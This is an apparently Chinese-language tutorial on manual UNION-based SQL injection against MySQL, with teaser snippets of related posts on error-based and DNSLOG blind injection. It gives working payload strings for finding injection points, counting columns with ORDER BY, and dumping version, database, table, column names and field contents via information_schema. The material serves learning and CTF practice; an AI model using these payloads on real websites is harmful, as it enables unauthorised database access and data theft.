前提知識
資料庫:就是將大量資料把儲存起來,通過計算機加工而成的可以高效訪問資料庫的資料集合
資料庫結構:
庫:就是一堆表組成的資料集合
表:類似 excel,由行和列組成的二維表
字段:表中的列稱為字段
記錄:表中的行稱為記錄
單元格:行和列相交的地方稱為單元格
在資料庫裡有乙個系統庫:information_schema
在它裡面有個存著所有庫名的表:schemata schema_name 庫名
在它裡面有個存著所有表名的表:tables
表名 table_schema 表屬於庫 table_name 表名
在它裡面還有個存著所有欄位名的表:columns
table_schema 表屬於庫 table_name 表名 column_name 欄位名
資料庫結構中常用:table_schema庫名 table_name表名 column_name欄位名優先記憶
資料庫中簡單查詢語句
select * from 表:從表裡查詢所有內容
where :有條件的從表中選取資料
and或or :條件有點多時候從表中選取資料
order by :根據指定的結果集/指定的列進行排序
limit 0,1 :從第一行起顯示一條記錄
union select :將多個表拼在一起
sql注入
攻擊者通過構造不同的sql語句來實現對資料庫的操作。
任何與資料庫產生互動的地方都可能存在sql注入
sql顯錯注入-聯合查詢(mysql資料庫)的基本流程及常用語句
sql手注的一般流程
一、判斷注入點
如為整數型注入
id=1' 後面加上'單引號,頁面出錯
id=1 and 1=1
id=1 and 1=2 時頁面不同判斷存在注入
二、判斷字段數
常用order by 判斷字段數
order by :order by 語句用於根據指定的列對結果集進行排序。
如:id=1 order by 3 頁面正常
id=1 order by 4 頁面錯誤
則字段數為3
三、判斷回顯點
使用聯合查詢
id =1 and 1=2 union select 1,2,3 前面為假是會查詢後面的語句,從而可獲得回顯點
查詢資料庫版本
and 1=2 union select 1,version(),3
查詢資料庫庫名
and 1=2 union select 1,database(),3
猜詢表名
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='庫名'
查詢欄位名
and 1=2 union select 1,group_concat(column_name),3from information_schema.columns where table_schema=database() and table_name='表名'
查詢字段內容
and 1=2 union select 1,欄位名 from 表名,3
若為單引號或雙引號注入
考慮拼接為正常字串進行逃逸
如;id=1' union select 1,欄位名 from 表名,3 -- +
後方為--+或-- a 或# 在很多資料庫中槓槓加為注釋符,在mysql中#為注釋符,推薦常用--+
基於錯誤回顯的sql注入整理
由於複習,停了好幾天,今天換換模式做了一下關於錯誤回顯的ctf題目,首先附上題目 here 0x00 關於錯誤回顯 用我自己的話來講,基於錯誤回顯的sql注入就是通過sql語句的矛盾性來使資料被回顯到頁面上 當然在實際應用中得能回顯在頁面上,一般的 都回避免這種情況,哈哈,要是能碰上你就偷著樂吧 0...
mysql顯錯注入 MySQL注入之顯錯注入
庫 就是一堆表組成的資料集合 資料庫裡自帶的系統庫 information schema information schema裡columns表裡存著所有欄位名 information schema裡schemata表裡存著所有庫名 information schema裡tables表裡存著所有表名...
利用DNSLOG注入突破無回顯盲注
sql注入介紹 sql注入介紹 注入產生原因 web應用程式對使用者輸入資料的合法性沒有判斷或過濾不嚴,導致惡意payload直接帶入sql語句執行,從而執行payload中非法操作!新建php檔案,將下面 複製到php檔案中,在瀏覽器中訪問即可 host 127.0.0.1 dbuser root...